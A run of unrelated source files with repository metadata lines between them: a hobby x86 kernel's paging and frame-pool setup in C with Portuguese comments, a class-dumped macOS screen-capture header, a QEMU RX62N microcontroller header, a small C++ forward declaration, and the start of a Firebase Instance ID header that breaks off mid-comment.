come�ando em 0x000B8000fis. (user mode). // todo: // Aqui na verdade n�o precisa configurar 4 megas, // apenas o tamanho da mem�ria de v�deo presente em 0xb8000. // Aqui estamos pegando uma parti��o de mem�ria f�sica de 4MB // que come�a no endere�o f�sico 0x000B8000. // todo: // bugbug: ESSA � CGA E N�O A VGA. // Mudar o nome para cga. // Criando uma pagetable. // 4MB de mem�ria f�sica, come�ando 0x000B8000fis. // user mode VGA pages - ( 0x000B8000fis = 0x00800000virt) // Podemos permitir que alguns processos em user mode acessem // essa �rea diretamente. // 7 decimal � igual a 111 bin�rio. // >>> (user mode). // Criando a entrada do diret�rio de p�ginas do processo kernel. // o bit 7 da entrada permanece em 0, indicando que temos // p�ginas de 4KB. // Salva no diret�rio o endere�o f�sico. // Configurando os atributos. // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. // #todo // Não precisamos mapear todos os 4MB para esse fim. // somente o tamanho da memória de video. // NO fim das contas a gente nem usa essa memória, pois o // kernel ainda não suporta o modo texto. Mas quem sabe algum dia. for ( i=0; i < 1024; ++i ) { cga_page_table[i] = (unsigned long) SMALL_cga_pa | 7; SMALL_cga_pa = (unsigned long) SMALL_cga_pa + 4096; }; page_directory[ENTRY_CGA_PAGES] = (unsigned long) &cga_page_table[0]; page_directory[ENTRY_CGA_PAGES] = (unsigned long) page_directory[ENTRY_CGA_PAGES] | 7; // Obs: // 4MB, come�ando do endere�o f�sico 0x000B8000, // s�o acess�veis em user mode � partir do endere�o virtual // 0x00800000virt. // // # PAGETABLE. (Front buffer). // // 0xC0400000; g_frontbuffer_va = (unsigned long) FRONTBUFFER_ADDRESS; // ================================================================ // user mode LFB pages - (0x????????fis = 0xC0400000virt). // SMALL_frontbuffer_address = SavedLFB = g_lbf_pa, // Foi passado pelo boot manager. // Mapear 4MB da mem�ria f�sica come�ando no valor do // endere�o f�sico do LFB que foi passado pelo Boot Manager. // O endere�o de mem�ria l�gica utilizada � 4MB � partir de // 0xC0400000. // // Aqui estamos pegando uma parti��o de mem�ria f�sica de 4MB // que come�a no endere�o f�sico do LFB, de valor desconhecido. // Foi configurado em modo real, pelo m�todo VESA. // // todo: // LFB needs to be bigger. // (Ex: Four 8GB graphic cards). // But the driver needs to do all the work. // // Criando uma pagetable. (user mode) // Os quatro primeiros MB da mem�ria de v�deo. // user mode LFB pages - (0x????????fis = 0xC0400000virt). // provavelmente o endere�o f�sico � 0xE0000000 // >>> (user mode). // 7 decimal � igual a 111 bin�rio. // Criando a entrada do diret�rio de p�ginas do processo kernel. // o bit 7 da entrada permanece em 0, indicando que temos // p�ginas de 4KB. // Salva no diret�rio o endere�o f�sico. // Configurando os atributos. // 4096 KB = (4 MB). mm_used_lfb = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { frontbuffer_page_table[i] = (unsigned long) SMALL_frontbuffer_pa | 7; SMALL_frontbuffer_pa = (unsigned long) SMALL_frontbuffer_pa + 4096; }; page_directory[ENTRY_FRONTBUFFER_PAGES] = (unsigned long) &frontbuffer_page_table[0]; page_directory[ENTRY_FRONTBUFFER_PAGES] = (unsigned long) page_directory[ENTRY_FRONTBUFFER_PAGES] | 7; // // # PAGETABLE. (Back buffer). // // 0xC0800000; g_backbuffer_va = (unsigned long) BACKBUFFER_ADDRESS; //=============================================================== // user mode BUFFER1 pages - 0x800000fis = // (0x01000000 - 0x800000 fis) = 0xC0800000virt). // // BackBuffer: // � o buffer onde se pinta o que aparecer� na tela. O conte�do // desse buffer � copiado no LFB da mem�ria de v�deo, // (refresh_screen). // SMALL_backbuffer_address = , #Provis�rio. // O endere�o de mem�ria l�gica utilizada � 4MB � partir de // 0xC0800000. // // Aqui estamos pegando uma parti��o de mem�ria f�sica de 4MB, // que come�a no endere�o f�sico, no decimo sexto mega da // mem�ria f�sica. // criando uma page table. // 4MB de me�ria f�sica, come�ando em 16MB, que ser�o usados // para backbuffer. // Obs // Essa �rea deve ter no m�nimo o mesmo tamanho do frontbuffer. // user mode BUFFER1 pages - ((0x01000000 - 0x800000 fis) = // 0xC0800000virt). // >>> (user mode). // 7 decimal � igual a 111 bin�rio. // Criando a entrada do diret�rio de p�ginas do processo kernel. // o bit 7 da entrada permanece em 0, indicando que temos p�ginas // de 4KB. // Salva no diret�rio o endere�o f�sico. // Configurando os atributos. // 4096 KB = (4 MB). mm_used_backbuffer = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { backbuffer_page_table[i] = (unsigned long) SMALL_backbuffer_pa | 7; SMALL_backbuffer_pa = (unsigned long) SMALL_backbuffer_pa + 4096; }; page_directory[ENTRY_BACKBUFFER_PAGES] = (unsigned long) &backbuffer_page_table[0]; page_directory[ENTRY_BACKBUFFER_PAGES] = (unsigned long) page_directory[ENTRY_BACKBUFFER_PAGES] | 7; // Obs: // 4MB da mem�ria f�sica, � partir do endere�o f�sico 0x01000000 // (marca de 16MB), s�o destinados ao back buffer. // Obs: // Isso � bem pouco, uma tela com alta resolu��o usa mais que isso. // // # PAGETABLE. (Paged pool). // // 0xC0C00000; g_pagedpool_va = (unsigned long) XXXPAGEDPOOL_VA; // >>> (user mode) // 7 decimal � igual a 111 bin�rio. // Criando a entrada do diret�rio de p�ginas do processo kernel. // O bit 7 da entrada permanece em 0, indicando que temos p�ginas // de 4KB. // Salva no diret�rio o endere�o f�sico. // Configurando os atributos. // 4096 KB = (4 MB). mm_used_pagedpool = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { pagedpool_page_table[i] = (unsigned long) SMALL_pagedpool_pa | 7; SMALL_pagedpool_pa = (unsigned long) SMALL_pagedpool_pa + 4096; }; page_directory[ENTRY_PAGEDPOOL_PAGES] = (unsigned long) &pagedpool_page_table[0]; page_directory[ENTRY_PAGEDPOOL_PAGES] = (unsigned long) page_directory[ENTRY_PAGEDPOOL_PAGES] | 7; // Endere�o virtual do pool de heaps. // Os heaps nessa �rea ser�o dados para os processos. g_heappool_va = (unsigned long) XXXHEAPPOOL_VA; //0xC1000000; g_heap_count = 0; g_heap_count_max = G_DEFAULT_PROCESSHEAP_COUNTMAX; g_heap_size = G_DEFAULT_PROCESSHEAP_SIZE; //#bugbug // >> (user mode). // Heaps support. // Preparando uma �rea de mem�ria grande o bastante para conter // o heap de todos os processos. // ex: // Podemos dar 128 KB para cada processo inicialmente. // 4096 KB = (4 MB). mm_used_heappool = (1024 * 4); // #importante: // Os endereços físico e virtual são iguais para essa tabela. for ( i=0; i < 1024; ++i ) { heappool_page_table[i] = (unsigned long) SMALL_heappool_pa | 7; SMALL_heappool_pa = (unsigned long) SMALL_heappool_pa + 4096; }; page_directory[ENTRY_HEAPPOOL_PAGES] = (unsigned long) &heappool_page_table[0]; page_directory[ENTRY_HEAPPOOL_PAGES] = (unsigned long) page_directory[ENTRY_HEAPPOOL_PAGES] | 7; // // Extra heaps. // // +++++++ // Extra heap 1. // >>> (user mode). g_extraheap1_va = (unsigned long) XXXEXTRAHEAP1_VA; //0xC1400000; g_extraheap1_size = G_DEFAULT_EXTRAHEAP_SIZE; //4MB // 4096 KB = (4 MB). mm_used_extraheap1 = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { extraheap1_page_table[i] = (unsigned long) SMALL_extraheap1_pa | 7; SMALL_extraheap1_pa = (unsigned long) SMALL_extraheap1_pa + 4096; }; page_directory[ENTRY_EXTRAHEAP1_PAGES] = (unsigned long) &extraheap1_page_table[0]; page_directory[ENTRY_EXTRAHEAP1_PAGES] = (unsigned long) page_directory[ENTRY_EXTRAHEAP1_PAGES] | 7; // +++++++ // Extra heap 2. // >>> (user mode). g_extraheap2_va = (unsigned long) XXXEXTRAHEAP2_VA; //0xC1800000; g_extraheap2_size = G_DEFAULT_EXTRAHEAP_SIZE; //4MB // 4096 KB = (4 MB). mm_used_extraheap2 = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { extraheap2_page_table[i] = (unsigned long) SMALL_extraheap2_pa | 7; SMALL_extraheap2_pa = (unsigned long) SMALL_extraheap2_pa + 4096; }; page_directory[ENTRY_EXTRAHEAP2_PAGES] = (unsigned long) &extraheap2_page_table[0]; page_directory[ENTRY_EXTRAHEAP2_PAGES] = (unsigned long) page_directory[ENTRY_EXTRAHEAP2_PAGES] | 7; // +++++++ // Extra heap 3. // >>> (user mode). g_extraheap3_va = (unsigned long) XXXEXTRAHEAP3_VA; //0xC1C00000; g_extraheap3_size = G_DEFAULT_EXTRAHEAP_SIZE; //4MB // 4096 KB = (4 MB). mm_used_extraheap3 = (1024 * 4); // #importante: // O endere�o f�sico e virtual s�o iguais para essa tabela. for ( i=0; i < 1024; ++i ) { extraheap3_page_table[i] = (unsigned long) SMALL_extraheap3_pa | 7; SMALL_extraheap3_pa = (unsigned long) SMALL_extraheap3_pa + 4096; }; page_directory[ENTRY_EXTRAHEAP3_PAGES] = (unsigned long) &extraheap3_page_table[0]; page_directory[ENTRY_EXTRAHEAP3_PAGES] = (unsigned long) page_directory[ENTRY_EXTRAHEAP3_PAGES] | 7; // ... // // == Frame table ============================================= // // Vamos configurar a frame table de acordo com o // total de memória ram. // Size in KB. // Se for maior que 1 GB. // Se for maior que 1024 MB. // (1024*1024) KB if ( memorysizeTotal > (1024*1024) ) { FT.frame_table_start = FRAME_TABLE_START_PA; // 64 MB mark. FT.frame_table_end = (0x40000000 - 1); // 1GB -1 mark. FT.frame_table_size_in_bytes = (FT.frame_table_end - FT.frame_table_start); //memória utilizada para isso.dado em kb. mm_used_frame_table = (FT.frame_table_size_in_bytes/1024); // Size in KB. // Se for maior que 512 MB. // (512*1024)KB } else if ( memorysizeTotal > (512*1024) ){ FT.frame_table_start = FRAME_TABLE_START_PA; // 64 MB mark. FT.frame_table_end = (0x20000000 - 1); // 512 MB -1 mark. FT.frame_table_size_in_bytes = (FT.frame_table_end - FT.frame_table_start); //memória utilizada para isso.dado em kb. mm_used_frame_table = (FT.frame_table_size_in_bytes/1024); // Size in KB. // Se for maior que 256 MB. // (256*1024)KB } else if ( memorysizeTotal > (256*1024) ){ FT.frame_table_start = FRAME_TABLE_START_PA; // 64 MB mark. FT.frame_table_end = (0x10000000 - 1); // 256 MB -1 mark. FT.frame_table_size_in_bytes = (FT.frame_table_end - FT.frame_table_start); //memória utilizada para isso.dado em kb. mm_used_frame_table = (FT.frame_table_size_in_bytes/1024); // Size in KB. // Se for maior que 128 MB. // (128*1024) KB } else if ( memorysizeTotal > (128*1024) ){ FT.frame_table_start = FRAME_TABLE_START_PA; // 64 MB mark. FT.frame_table_end = (0x08000000 - 1); // 128 MB -1 mark. FT.frame_table_size_in_bytes = (FT.frame_table_end - FT.frame_table_start); //memória utilizada para isso.dado em kb. mm_used_frame_table = (FT.frame_table_size_in_bytes/1024); // #ERROR // A memória tem menos de 128 MB ou igual, // Então não conseguiremos criar uma frame_table // que começe na marca de 64 MB. }else{ debug_print ("mmSetUpPaging: [PANIC] We need 256 MB of RAM\n"); kprintf ("mmSetUpPaging: [PANIC] We need 256 MB of RAM\n"); refresh_screen(); //die(); panic2 ("mmSetUpPaging: [PANIC] We need 256 MB of RAM\n"); }; // // Memory size // // #Importante // Agora vamos calcular a quantidade de mem�ria f�sica usada // at� agora. // Levando em conta a inicializa��o que fizemos nessa rotina. // Estamos deixando de fora a mem�ria dos dispositivos, pois a // mem�ria usada pelos dispositivos possuem endere�o f�sico, // mas est� na parte alta do endere�amento f�sico, muito al�m da // mem�ria RAM instalada. // Com a exce��o da vga, que fica antes de 1MB. // Os dispositivos por enquanto s�o mem�ria de v�deo e placa // de rede. // Tem a quest�o do dma a se considerar tamb�m. // Tem dma abaixo da marca de 16mb. // Tem dma que usa mem�ria virtual. // Used. // #todo: mm_used_lfb ?? memorysizeUsed = (unsigned long) ( mm_used_kernel_area + mm_used_user_area + mm_used_backbuffer + mm_used_pagedpool + mm_used_heappool + mm_used_extraheap1 + mm_used_extraheap2 + mm_used_extraheap3 + mm_used_frame_table ); // Free. memorysizeFree = memorysizeTotal - memorysizeUsed; // #todo: // (sobre heaps para processos em user mode). // O que precisa ser feito no momento: // + Os processos em user mode precisam aloca��o din�mica de mem�ria, // para isso ser� usado o heap do processo ou o heap do desktop ao qual o // processo pertence. // #todo: // *IMPORTANTE: // (sobre heaps para gerenciamento de recursos gr�ficos). // + Os buffers de janela ser�o alocados no heap do processo em user mode // que gerencia a cria��o de janelas, portanto esse processo tem que ter // bastante heap dispon�vel. Talvez quem fa�a esse papel seja o pr�prio // kernel base, a� quem precisa de bastante heap � o kernel base. // Talvez seja um m�dulo em kernel mode que gerencie as janelas. // Por enquanto � a camada superior do kernel base. Mas interfaces poder�o // chamar essa camada no kernel base e oferecerem servi�os de gerenciamento // de recursos gr�ficos, utilizando apenas as primitivas oferecidas pelo // kernel base. Essas bibliotecas que oferecem recursos gr�ficos podem // ser processos em kernel mode ou em user mode. Elas oferecer�o recursos // bem elaborados e completos, chamando o kernel base apenas para // as rotinas primitivas. Isso facilita a cria��o de recursos gr�ficos, // por�m prejudica o desempenho, por isso o kernel base tamb�m oferece // seu conjunto de recursos gr�ficos mais elaborados, al�m das primitivas, // � claro. // @todo: // Continuar: Mais p�ginas podem ser criadas manualmente agora. // Porem a inten��o � utilizar rotinas de automa��o da cria��o // de paginas, pagetable e diret�rios. // @todo: // At� agora tem uma sobreposi��o danada no mapeamento um mesmo // endere�o f�sico de mem�ria � mapeado para v�rios endere�os virtuais. // Isso n�o � proibido, � assim que se comaprtilha mem�ria. Na pr�tica // podemos acessar a mesma regi�o de mem�ria de v�rias maneira diferentes. // Mas devemos tomar cuidado, principalmente para n�o corrompermos o // kernel base. // O acesso a mem�ria compartilhada ser� gerenciado pelos mecanismos // padr�o de comunica��o e compartilhamento. Sem�foros e mutexes ... // @todo: // *IMPORTANTE. // O que queremos � utilizar uma lista de frames livres na hora // configurarmos o mapeamento. Queremos pegar um frame livre e // associarmos ele com uma PTE, (entrada na tabela de p�ginas). // O que est� faltando � o gerenciamento de mem�ria f�sica. // O gerenciamento de mem�ria f�sica � feito dividindo a mem�ria f�sica // em parti��es, peda�os grandes de mem�ria. Tem um m�dulo que trata // de bancos, aspaces no kernel base. // @todo: // *SUPER IMPORTANTE. // para gerenciarmos a me�ria f�sica, precisamos saber o tamanho // da mem�ria f�sica disponpivel. tem um m�dulo no kernel base // que trata disso. // * Depois de alocarmos uma regi�o grande da mem�ria f�sica, // destinada para frames, ent�o criaremos a lista de frames livres. // que significar� uma quantidade de frames livres dentro da �rea // destinadas � frames. N�o significa �rea toda a �rea livre // na mem�ria f�sica, mas apenas os frames livres dentro da regi�o // destinada aos frames. // Debug: // Mostrando os endere�os do diret�rio e das p�ginas. // #verbose. // Obs: // Podemos reaproveitas pagetables em diferentes processos. // Salvando o endere�o do diret�rio do processo Kernel no CR3. x86_SetCR3 ( (unsigned long) &page_directory[0] ); // LISTAS: // Configurando a lista de diret�rios e a lista de // tabelas de p�ginas. // Salvando na lista o endere�o f�sico dos diret�rios e // das tabelas de p�ginas. // // Inicializar a lista de diret�rios de p�ginas. // for ( i=0; i < PAGEDIRECTORY_COUNT_MAX; ++i ) { pagedirectoryList[i] = (unsigned long) 0; }; //O primeiro diret�rio da lista � o diret�rio do kernel. pagedirectoryList[0] = (unsigned long) &page_directory[0]; //kernel. //pagedirectoryList[1] = (unsigned long) 0; //... // // Inicializando a lista de pagetables.. // for ( i=0; i < PAGETABLE_COUNT_MAX; ++i ) { pagetableList[i] = (unsigned long) 0; }; //Configurando manualmente as primeiras entradas da lista. pagetableList[0] = (unsigned long) &km_page_table[0]; pagetableList[1] = (unsigned long) &km2_page_table[0]; pagetableList[2] = (unsigned long) &um_page_table[0]; pagetableList[3] = (unsigned long) &cga_page_table[0]; pagetableList[4] = (unsigned long) &frontbuffer_page_table[0]; pagetableList[5] = (unsigned long) &backbuffer_page_table[0]; //pagetableList[6] = (unsigned long) 0; //... // // Inicializando a lista de framepools. (parti��es) // for ( i=0; i < FRAMEPOOL_COUNT_MAX; ++i ) { framepoolList[i] = (unsigned long) 0; }; //Configurando manualmente a lista de pageframes. framepoolList[0] = (unsigned long) 0; framepoolList[1] = (unsigned long) 0; //... // // Creating "Kernel Space Framepool". // struct frame_pool_d *kfp; //kernel framepool. kfp = (void *) kmalloc ( sizeof(struct frame_pool_d) ); // #todo: e se falhar? if ( (void *) kfp != NULL ) { kfp->id = 0; kfp->used = TRUE; kfp->magic = 1234; //?? Come�a em 0 MB. ?? kfp->address = (unsigned long) (0 * MB); //pertence ao processo kernel. kfp->process = (void *) KernelProcess; kfp->next = NULL; //... //salva e ponteiro global. framepoolKernelSpace = (void *) kfp; //Salva na lista. framepoolList[0] = (unsigned long) kfp; }; // // Creating user space framepool for small systems. // struct frame_pool_d *small_fp; //kernel framepool. small_fp = (void *) kmalloc ( sizeof(struct frame_pool_d) ); // #todo: e se falhar. if ( (void *) small_fp != NULL ) { small_fp->id = 1; small_fp->used = TRUE; small_fp->magic = 1234; //Come�a em 4 MB. small_fp->address = (unsigned long) (4 * MB); //pertence ao processo kernel. small_fp->process = (void*) NULL; //??; small_fp->next = NULL; //... //salva e ponteiro global. framepoolSmallSystemUserSpace = (void *) small_fp; // Salva na lista. framepoolList[1] = (unsigned long) small_fp; }; //@todo: Outros indices, (2,3,4.) //Obs: Tem um buffer em 0x01000000 (16MB). //... // // Creating pageble space framepool. // struct frame_pool_d *pageable_fp; //kernel framepool. pageable_fp = (void *) kmalloc ( sizeof(struct frame_pool_d) ); //#todo e se falhar? if( (void *) pageable_fp != NULL ) { pageable_fp->id = 5; //quinto �ndice. pageable_fp->used = TRUE; pageable_fp->magic = 1234; //Come�a em 20 MB. pageable_fp->address = (unsigned long) (20 * MB); //pertence ao processo kernel. pageable_fp->process = (void*) NULL; //?? pageable_fp->next = NULL; //... //salva em ponteiro global. framepoolPageableSpace = (void*) pageable_fp; // Salva na lista. framepoolList[5] = (unsigned long) pageable_fp; }; // More ? //done: debug_print("mmSetUpPaging: done\n"); return 0; } // Checar se a estrutura de p'agina � nula // This is very ugly int pEmpty (struct page_d *p) { return p == NULL ? 1 : 0; } // Selecionar a página como livre. void freePage (struct page_d *p) { if ( (void*) p == NULL ) { // #debug ? return; } // Free it! if ( p->used == 1 && p->magic == 1234 ){ p->free = 1; } } // Selecionar a p�gina como n�o livre. void notfreePage (struct page_d *p) { if ( (void*) p == NULL ) { // #debug ? return; } // Not free! if ( p->used == 1 && p->magic == 1234 ){ p->free = 0; } } /* ***************************************** * virtual_to_physical: * */ unsigned long virtual_to_physical ( unsigned long virtual_address, unsigned long dir_va ) { if (dir_va == 0){ panic ("virtual_to_physical: [FAIL] Invalid dir_va \n"); } unsigned long tmp=0; unsigned long address=0; unsigned int d = (unsigned int) virtual_address >> 22 & 0x3FF; // 10 bits unsigned int t = (unsigned int) virtual_address >> 12 & 0x3FF; // 10 bits unsigned int o = (unsigned int) (virtual_address & 0xFFF ); // 12 bits // ============================ // Page directory. unsigned long *dir = (unsigned long *) dir_va; // Temos o endereço da pt junto com as flags. tmp = (unsigned long) dir[d]; // ============================== // Page table. unsigned long *pt = (unsigned long *) (tmp & 0xFFFFF000); // Encontramos o endereço base do page frame. tmp = (unsigned long) pt[t]; address = (tmp & 0xFFFFF000); return (unsigned long) (address + o); } // show info. // Mostra entradas no diretório. // move to mminfo.c? pois eh um teste que imprime. // credits: old linux // This is a small routine that shows the info inside // the kernel's page directory. // First of all it gets a used entry in the directory. // This Entry will point to another table called Page Table. // After that the routine checks how many used entries // we have in this page table. Each entry in the page table // is able to handle a single Page. // This page can be in the ram, in the rom, // in the video card memory or even in the disk. // #todo // We can create the same routine to check any page directory, // given its address. //void pages_calc_mem_for_this_directory (unsigned long address) //{} void pages_calc_mem (void){ int i=0; int j=0; int k=0; int free=0; // The kernel page directory. long *pg_dir = (long *) gKernelPageDirectoryAddress; long *pg_tbl; printf ("\n\n"); //for(i=0 ; i<PAGING_PAGES ; i++) // if (!mem_map[i]) free++; //printf("%d pages free (of %d)\n\r",free,PAGING_PAGES); // todas as entradas do diretorio. for (i=0; i<1024; i++) { // O primeiro bit da entrada. // O que ele significa mesmo? kkk if ( pg_dir[i] & 1 ) //if (1 & pg_dir[i]) { pg_tbl = (long *) (0xfffff000 & pg_dir[i]); // ugly for ( j=k=0; j<1024; j++ ) { if (pg_tbl[j] & 1){ k++; } }; printf ("Pg-dir[%d] uses %d pages\n",i,k); } }; refresh_screen(); } // // End. //
29.80395
109
0.626897
777e97685e94bc1d09f7e2465af1f6f69c5bb32e
2,079
h
C
ScreenCapture.framework/Headers/WWCaptureTextView.h
Vanyoo/MacScreenShot
8831c912398e4ede9b6616abb067d2d6bbc2b801
[ "MIT" ]
1
2021-09-24T14:17:24.000Z
2021-09-24T14:17:24.000Z
ScreenCapture.framework/Headers/WWCaptureTextView.h
Vanyoo/MacScreenShot
8831c912398e4ede9b6616abb067d2d6bbc2b801
[ "MIT" ]
null
null
null
ScreenCapture.framework/Headers/WWCaptureTextView.h
Vanyoo/MacScreenShot
8831c912398e4ede9b6616abb067d2d6bbc2b801
[ "MIT" ]
2
2021-03-04T06:44:16.000Z
2022-02-24T10:49:03.000Z
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import "NSTextView.h" #import "NSTextViewDelegate.h" @class NSColor, NSMutableDictionary, NSString, NSTrackingArea; @interface WWCaptureTextView : NSTextView <NSTextViewDelegate> { id _localEventMonitor; BOOL _drawFrame; NSMutableDictionary *_markedAttr; NSTrackingArea *_trackArea; NSColor *_frameColor; struct CGPoint _ptStart; struct CGPoint _ptOrigin; } @property(retain, nonatomic) NSColor *frameColor; // @synthesize frameColor=_frameColor; @property struct CGPoint ptOrigin; // @synthesize ptOrigin=_ptOrigin; @property struct CGPoint ptStart; // @synthesize ptStart=_ptStart; @property BOOL drawFrame; // @synthesize drawFrame=_drawFrame; @property(retain) NSTrackingArea *trackArea; // @synthesize trackArea=_trackArea; @property(retain) NSMutableDictionary *markedAttr; // @synthesize markedAttr=_markedAttr; - (void).cxx_destruct; - (void)mouseUp:(id)arg1; - (void)mouseDown:(id)arg1; - (void)unselectTextView; - (void)shiftKeyResponder; - (BOOL)resignFirstResponder; - (BOOL)becomeFirstResponder; - (void)invalidateSelection; - (BOOL)textView:(id)arg1 doCommandBySelector:(SEL)arg2; - (id)textView:(id)arg1 shouldChangeTypingAttributes:(id)arg2 toAttributes:(id)arg3; - (BOOL)textView:(id)arg1 shouldChangeTextInRange:(struct _NSRange)arg2 replacementString:(id)arg3; - (void)test:(id)arg1; - (void)textViewDidChangeTypingAttributes:(id)arg1; - (void)drawRect:(struct CGRect)arg1; - (void)cursorUpdate:(id)arg1; - (void)mouseExited:(id)arg1; - (void)mouseEntered:(id)arg1; - (void)updateTrackingAreas; - (void)uninstallTrackingArea; - (void)installTrackingArea; - (void)setTextColor:(id)arg1; - (void)setFont:(id)arg1; - (void)dealloc; - (id)initWithFrame:(struct CGRect)arg1; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
33
99
0.762386
4fb8bb0eee008086598c8734c7d7a8d29cadcbab
157
h
C
include/clean-test/framework/ObserverFwd.h
m8mble/clean-test
f30e7b4843fcb1137c376def7acd149436be52cb
[ "BSL-1.0" ]
4
2021-04-13T10:10:57.000Z
2022-03-07T01:51:14.000Z
include/clean-test/framework/ObserverFwd.h
m8mble/clean-test
f30e7b4843fcb1137c376def7acd149436be52cb
[ "BSL-1.0" ]
null
null
null
include/clean-test/framework/ObserverFwd.h
m8mble/clean-test
f30e7b4843fcb1137c376def7acd149436be52cb
[ "BSL-1.0" ]
null
null
null
// Copyright (c) m8mble 2020. // SPDX-License-Identifier: BSL-1.0 #pragma once namespace clean_test::execute { /// Forward declaration class Observer; }
13.083333
35
0.719745
3ed80dba0dd34d76eeaca8bf0b585ced3124e841
2,122
h
C
qemu/include/hw/rx/rx62n.h
hyunjoy/scripts
01114d3627730d695b5ebe61093c719744432ffa
[ "Apache-2.0" ]
44
2022-03-16T08:32:31.000Z
2022-03-31T16:02:35.000Z
qemu/include/hw/rx/rx62n.h
hyunjoy/scripts
01114d3627730d695b5ebe61093c719744432ffa
[ "Apache-2.0" ]
1
2022-03-29T02:30:28.000Z
2022-03-30T03:40:46.000Z
qemu/include/hw/rx/rx62n.h
hyunjoy/scripts
01114d3627730d695b5ebe61093c719744432ffa
[ "Apache-2.0" ]
18
2022-03-19T04:41:04.000Z
2022-03-31T03:32:12.000Z
/* * RX62N MCU Object * * Datasheet: RX62N Group, RX621 Group User's Manual: Hardware * (Rev.1.40 R01UH0033EJ0140) * * Copyright (c) 2019 Yoshinori Sato * * SPDX-License-Identifier: GPL-2.0-or-later * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2 or later, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef HW_RX_RX62N_MCU_H #define HW_RX_RX62N_MCU_H #include "target/rx/cpu.h" #include "hw/intc/rx_icu.h" #include "hw/timer/renesas_tmr.h" #include "hw/timer/renesas_cmt.h" #include "hw/char/renesas_sci.h" #include "qemu/units.h" #include "qom/object.h" #define TYPE_RX62N_MCU "rx62n-mcu" typedef struct RX62NState RX62NState; DECLARE_INSTANCE_CHECKER(RX62NState, RX62N_MCU, TYPE_RX62N_MCU) #define TYPE_R5F562N7_MCU "r5f562n7-mcu" #define TYPE_R5F562N8_MCU "r5f562n8-mcu" #define EXT_CS_BASE 0x01000000 #define VECTOR_TABLE_BASE 0xffffff80 #define RX62N_CFLASH_BASE 0xfff80000 #define RX62N_NR_TMR 2 #define RX62N_NR_CMT 2 #define RX62N_NR_SCI 6 struct RX62NState { /*< private >*/ DeviceState parent_obj; /*< public >*/ RXCPU cpu; RXICUState icu; RTMRState tmr[RX62N_NR_TMR]; RCMTState cmt[RX62N_NR_CMT]; RSCIState sci[RX62N_NR_SCI]; MemoryRegion *sysmem; bool kernel; MemoryRegion iram; MemoryRegion iomem1; MemoryRegion d_flash; MemoryRegion iomem2; MemoryRegion iomem3; MemoryRegion c_flash; qemu_irq irq[NR_IRQS]; /* Input Clock (XTAL) frequency */ uint32_t xtal_freq_hz; /* Peripheral Module Clock frequency */ uint32_t pclk_freq_hz; }; #endif
26.525
79
0.718662
c47e2edcdab5f8f49c6f27c92a862167ec93ab6c
8,855
h
C
instance_id/src/include/firebase/instance_id.h
crazyhappygame/firebase-cpp-sdk
e8aeb120d2a2e9fa314d7965391d841ebf1c3915
[ "Apache-2.0" ]
1
2021-06-18T11:03:03.000Z
2021-06-18T11:03:03.000Z
instance_id/src/include/firebase/instance_id.h
crazyhappygame/firebase-cpp-sdk
e8aeb120d2a2e9fa314d7965391d841ebf1c3915
[ "Apache-2.0" ]
null
null
null
instance_id/src/include/firebase/instance_id.h
crazyhappygame/firebase-cpp-sdk
e8aeb120d2a2e9fa314d7965391d841ebf1c3915
[ "Apache-2.0" ]
1
2020-08-16T11:53:44.000Z
2020-08-16T11:53:44.000Z
// Copyright 2017 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef FIREBASE_INSTANCE_ID_CLIENT_CPP_SRC_INCLUDE_FIREBASE_INSTANCE_ID_H_ #define FIREBASE_INSTANCE_ID_CLIENT_CPP_SRC_INCLUDE_FIREBASE_INSTANCE_ID_H_ #include <cstdint> #include <string> #include "firebase/app.h" #include "firebase/future.h" #include "firebase/internal/common.h" #if !defined(DOXYGEN) && !defined(SWIG) FIREBASE_APP_REGISTER_CALLBACKS_REFERENCE(instance_id) #endif // !defined(DOXYGEN) && !defined(SWIG) /// @brief Namespace that encompasses all Firebase APIs. namespace firebase { namespace instance_id { /// InstanceId error codes. enum Error { kErrorNone = 0, /// An unknown error occurred. kErrorUnknown, /// Request could not be validated from this client. kErrorAuthentication, /// Instance ID service cannot be accessed. kErrorNoAccess, /// Request to instance ID backend timed out. kErrorTimeout, /// No network available to reach the servers. kErrorNetwork, /// A similar operation is in progress so aborting this one. kErrorOperationInProgress, /// Some of the parameters of the request were invalid. kErrorInvalidRequest, // ID is invalid and should be reset. kErrorIdInvalid, }; #if defined(INTERNAL_EXPERIMENTAL) // TODO(b/69930393): Unfortunately, the Android implementation uses a service // to notify the application of token refresh events. It's a load of work // to setup a service to forward token change events to the application so // - in order to unblock A/B testing - we'll add support later. /// @brief Can be registered by an application for notifications when an app's /// instance ID changes. class InstanceIdListener { public: InstanceIdListener(); virtual ~InstanceIdListener(); /// @brief Called when the system determines that the tokens need to be /// refreshed. The application should call GetToken and send the tokens to /// all application servers. /// /// This will not be called very frequently, it is needed for key rotation /// and to handle Instance ID changes due to: /// <ul> /// <li>App deletes Instance ID /// <li>App is restored on a new device /// <li>User uninstalls/reinstall the app /// <li>User clears app data /// </ul> /// /// The system will throttle the refresh event across all devices to 